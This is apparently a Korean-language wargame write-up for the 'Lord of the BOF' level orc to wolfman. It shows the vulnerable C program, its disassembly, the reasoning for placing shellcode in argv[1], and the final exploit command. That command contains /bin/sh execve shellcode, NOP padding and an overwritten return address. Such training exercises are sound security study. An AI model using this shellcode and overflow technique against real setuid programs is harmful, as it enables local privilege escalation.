lvl 05 orc -> wolfman
→ 소스코드는 아래와 같다.
1 /* 2 The Lord of the BOF : The Fellowship of the BOF 3 - wolfman 4 - egghunter + buffer hunter 5 */ 6 7 #include <stdio.h> 8 #include <stdlib.h> 9 10 extern char **environ; 11 12 main(int argc, char *argv[]) 13 { 14 char buffer[40]; 15 int i; 16 17 if(argc < 2){ 18 printf("argv error\n"); 19 exit(0); 20 } 21 22 // egghunter 23 for(i=0; environ[i]; i++) 24 memset(environ[i], 0, strlen(environ[i])); 25 26 if(argv[1][47] != '\xbf') 27 { 28 printf("stack is still your friend.\n"); 29 exit(0); 30 } 31 strcpy(buffer, argv[1]); 32 printf("%s\n", buffer); 33 34 // buffer hunter 35 memset(buffer, 0, 40); 36 } |
→ 어셈블리 코드는 아래와 같다.
0x8048500 0x8048501 0x8048503 0x8048506 0x804850a 0x804850c 0x8048511 0x8048516 0x8048519 0x804851b 0x8048520 0x8048523 0x8048524 0x804852b 0x804852c 0x8048530 0x8048533 0x804853a 0x804853f 0x8048543 0x8048545 0x8048547 0x804854a 0x8048551 0x8048556 0x8048559 0x804855a 0x804855f 0x8048562 0x8048564 0x8048565 0x8048567 0x804856a 0x8048571 0x8048576 0x8048579 0x804857a 0x804857f 0x8048582 0x8048585 0x8048587 0x804858a 0x804858d 0x804858f 0x8048592 0x8048595 0x8048597 0x804859c 0x80485a1 0x80485a4 0x80485a6 0x80485ab 0x80485ae 0x80485b0 0x80485b3 0x80485b6 0x80485b8 0x80485b9 0x80485bc 0x80485bd 0x80485c2 0x80485c5 0x80485c8 0x80485c9 0x80485ce 0x80485d3 0x80485d6 0x80485d8 0x80485da 0x80485dd 0x80485de 0x80485e3 0x80485e6 0x80485e7 |
<main> <main+1> <main+3> <main+6> <main+10> <main+12> <main+17> <main+22> <main+25> <main+27> <main+32> <main+35> <main+36> <main+43> <main+44> <main+48> <main+51> <main+58> <main+63> <main+67> <main+69> <main+71> <main+74> <main+81> <main+86> <main+89> <main+90> <main+95> <main+98> <main+100> <main+101> <main+103> <main+106> <main+113> <main+118> <main+121> <main+122> <main+127> <main+130> <main+133> <main+135> <main+138> <main+141> <main+143> <main+146> <main+149> <main+151> <main+156> <main+161> <main+164> <main+166> <main+171> <main+174> <main+176> <main+179> <main+182> <main+184> <main+185> <main+188> <main+189> <main+194> <main+197> <main+200> <main+201> <main+206> <main+211> <main+214> <main+216> <main+218> <main+221> <main+222> <main+227> <main+230> <main+231> |
push %ebp mov %ebp,%esp sub %esp,44 cmp DWORD PTR [%ebp+8],1 jg 0x8048523 <main+35> push 0x8048640 call 0x8048410 <printf> add %esp,4 push 0 call 0x8048420 <exit> add %esp,4 nop mov DWORD PTR [%ebp-44],0x0 nop lea %esi,[%esi*1] mov %eax,DWORD PTR [%ebp-44] lea %edx,[%eax*4] mov %eax,%ds:0x8049760 cmp DWORD PTR [%eax+%edx],0 jne 0x8048547 <main+71> jmp 0x8048587 <main+135> mov %eax,DWORD PTR [%ebp-44] lea %edx,[%eax*4] mov %eax,%ds:0x8049760 mov %edx,DWORD PTR [%eax+%edx] push %edx call 0x80483f0 <strlen> add %esp,4 mov %eax,%eax push %eax push 0 mov %eax,DWORD PTR [%ebp-44] lea %edx,[%eax*4] mov %eax,%ds:0x8049760 mov %edx,DWORD PTR [%eax+%edx] push %edx call 0x8048430 <memset> add %esp,12 inc DWORD PTR [%ebp-44] jmp 0x8048530 <main+48> mov %eax,DWORD PTR [%ebp+12] add %eax,4 mov %edx,DWORD PTR [%eax] add %edx,47 cmp BYTE PTR [%edx],0xbf je 0x80485b0 <main+176> push 0x804864c call 0x8048410 <printf> add %esp,4 push 0 call 0x8048420 <exit> add %esp,4 mov %esi,%esi mov %eax,DWORD PTR [%ebp+12] add %eax,4 mov %edx,DWORD PTR [%eax] push %edx lea %eax,[%ebp-40] push %eax call 0x8048440 <strcpy> add %esp,8 lea %eax,[%ebp-40] push %eax push 0x8048669 call 0x8048410 <printf> add %esp,8 push 40 push 0 lea %eax,[%ebp-40] push %eax call 0x8048430 <memset> add %esp,12 leave ret |
→ 이번 문제는 환경변수 뿐만 아니라, 프로그램 종료 전 BUFFER의 내용도 0으로 초기화함으로써, 버퍼에 쉘 코드를 담을 수 없다. 따라서, RET 뒤쪽에 쉘 코드를 넣어야 한다. 즉, argv 인자에 쉘 코드를 넣고 RET 영역을 argv[1]의 시작주소로 변조하여 공격이 가능하다. 먼저 argv[1] 시작주소를 파악하기 위해 소스코드를 추가한다.
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); printf("[%#x]\n",argv[1]); // 추가된 소스 argv[1] 주소값 출력 } |
→ 스택 구조는 아래와 같다.
→ argv[1] 주소 파악한 후, 다음과 같은 페이로드를 구성할 수 있다.
→ 구성한 페이로드를 바탕으로, 아래와 같은 공격을 수행한다.
./wolfman $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x2b\xfc\xff\xbf"') |
→ 결과는 아래와 같다.